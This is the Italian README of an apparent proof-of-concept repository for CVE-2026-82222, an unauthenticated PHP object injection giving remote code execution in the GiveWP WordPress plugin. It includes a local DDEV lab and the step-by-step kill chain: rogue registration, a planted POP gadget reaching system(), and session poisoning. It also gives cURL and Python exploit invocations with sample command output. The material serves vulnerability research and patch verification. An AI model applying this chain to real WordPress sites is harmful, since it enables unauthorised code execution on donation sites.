Proof-of-concept e laboratorio DDEV locale per CVE-2026-82222, un'iniezione di oggetti PHP non autenticata che porta a RCE nel plugin WordPress GiveWP, con script di exploit in cURL e Python.
| CVE | CVE-2026-82222 |
| CVSS | 10.0 (Critico) |
| CWE | CWE-502 — Deserializzazione di Dati Non Attendibili |
| Affetto | GiveWP (Donation Plugin) <= 4.16.7.1 |
| Corretto | 4.16.7.2 |
| Advisory | Patchstack |
SOLO TEST AUTORIZZATI. Questo repository è destinato all'educazione, alla ricerca sulle vulnerabilità e al test di sistemi di tua proprietà o che sei esplicitamente autorizzato a testare. L'uso non autorizzato è illegale.
Questo repository esiste per aiutare i professionisti della sicurezza a
comprendere, rilevare e difendersi da CVE-2026-82222. Tutte le
dimostrazioni sono progettate per un lab locale (lab/) che esegui sulla
tua macchina. Il PoC non scrive nulla su disco e non modifica alcuna
impostazione del plugin — l'output del comando viaggia solo nella risposta
HTTP della richiesta di trigger. Vedi SECURITY.md per l'ambito
completo e la policy di segnalazione.
├── lab/ # DDEV + WordPress + GiveWP 4.16.5.1 vulnerable lab
│ ├── setup.sh # one-command lab build
│ ├── set-givewp-version.sh # swap vulnerable/patched GiveWP versions
│ ├── .ddev/config.yaml # DDEV project config
│ └── README.md
├── poc/
│ ├── cve-2026-82222.sh # cURL exploit script
│ ├── poc.py # Python exploit script
│ └── requirements.txt
├── docs/
│ ├── ANALYSIS.md # technical write-up + reachability matrix
│ ├── BURP-MANUAL.md # Burp Repeater walkthrough (request/response)
│ └── CURL-POC.md # copy/paste cURL walkthrough
├── SECURITY.md # scope, reporting and safe-use policy
└── LICENSE
Quattro richieste non autenticate più un trigger:
users_can_register e rilascia cookie WP autenticati.TCPDF → Symfony
Session → DonorFactory → system) nel campo meta last_name
dell'account.give_last; GiveWP
riempie il nome dal DB, deserializza il gadget con
allowed_classes=false e serializza il grafo di oggetti attivo in
wp_give_sessions.unserialize()
senza restrizioni; TCPDF::__destruct() raggiunge
call_user_func_array('system', [cmd]). L'output appare nella risposta
HTTP — nulla viene scritto su disco.Dettagli completi: docs/ANALYSIS.md
cd lab
bash setup.sh
# -> https://cve-2026-82222.ddev.site
# form id printed at the end, gateway: manual, WP admin: admin/<random>
Richiede Docker + DDEV.
cd poc
pip install -r requirements.txt
# cURL
bash cve-2026-82222.sh https://cve-2026-82222.ddev.site id <FORM_ID>
# Python
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -g manual -a 10.00 -v
# fingerprint only (no exploitation)
python3 poc.py https://cve-2026-82222.ddev.site --check
Entrambi i PoC sono progettati per un singolo target — non esiste una
modalità batch o di scansione di massa. Eseguili solo contro il lab in lab/
o sistemi che sei autorizzato a testare.
Output di successo previsto (comando id):
[*] CVE-2026-82222 kill chain on https://cve-2026-82222.ddev.site (form 5)
[*] 1/5 Registering cve_1b290e (GiveWP ignores users_can_register) ...
-> HTTP 302
[+] auth cookie obtained
[*] 2/5 Fetching profile nonce ...
[+] nonce=a0fd84c9d7 user_id=7
[*] 3/5 Building POP gadget for command: id
[*] 4/5 Storing gadget in wp_usermeta.last_name ...
-> HTTP 302
[+] gadget planted
[*] 5/5 Poisoning wp_give_sessions (HTTP 500 is expected) ...
-> HTTP 500
[+] session poisoned
[*] Triggering RCE ...
[+] COMMAND OUTPUT (id) from /?give_action=view_receipt :
uid=501(sajjadsiam) gid=20(dialout) groups=20(dialout)
cd lab
bash set-givewp-version.sh 4.16.7.2 # patched build
cd ../poc
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -v
# -> chain dies; no output
| GiveWP | Stato |
|---|---|
| <= 4.16.5.1 | Vulnerabile — l'installazione predefinita è completamente raggiungibile |
| 4.16.6 – 4.16.7.1 | Vulnerabile — richiede un form legacy (non-V3); la registrazione necessita di give_register_nonce |
| 4.16.7.2 | Corretto |
Questo repository è fornito solo a scopo educativo e di ricerca sulla sicurezza difensiva. Il codice incluso dimostra una vulnerabilità documentata affinché i difensori possano costruire rilevamenti, verificare le patch e testare i propri sistemi.
Gli autori non sono responsabili per qualsiasi uso improprio o danno causato da questo materiale. Non usarlo contro alcun sistema senza esplicita autorizzazione — farlo potrebbe violare il Computer Fraud and Abuse Act (CFAA) e leggi equivalenti in tutto il mondo. Vedi SECURITY.md.
MIT — vedi LICENSE.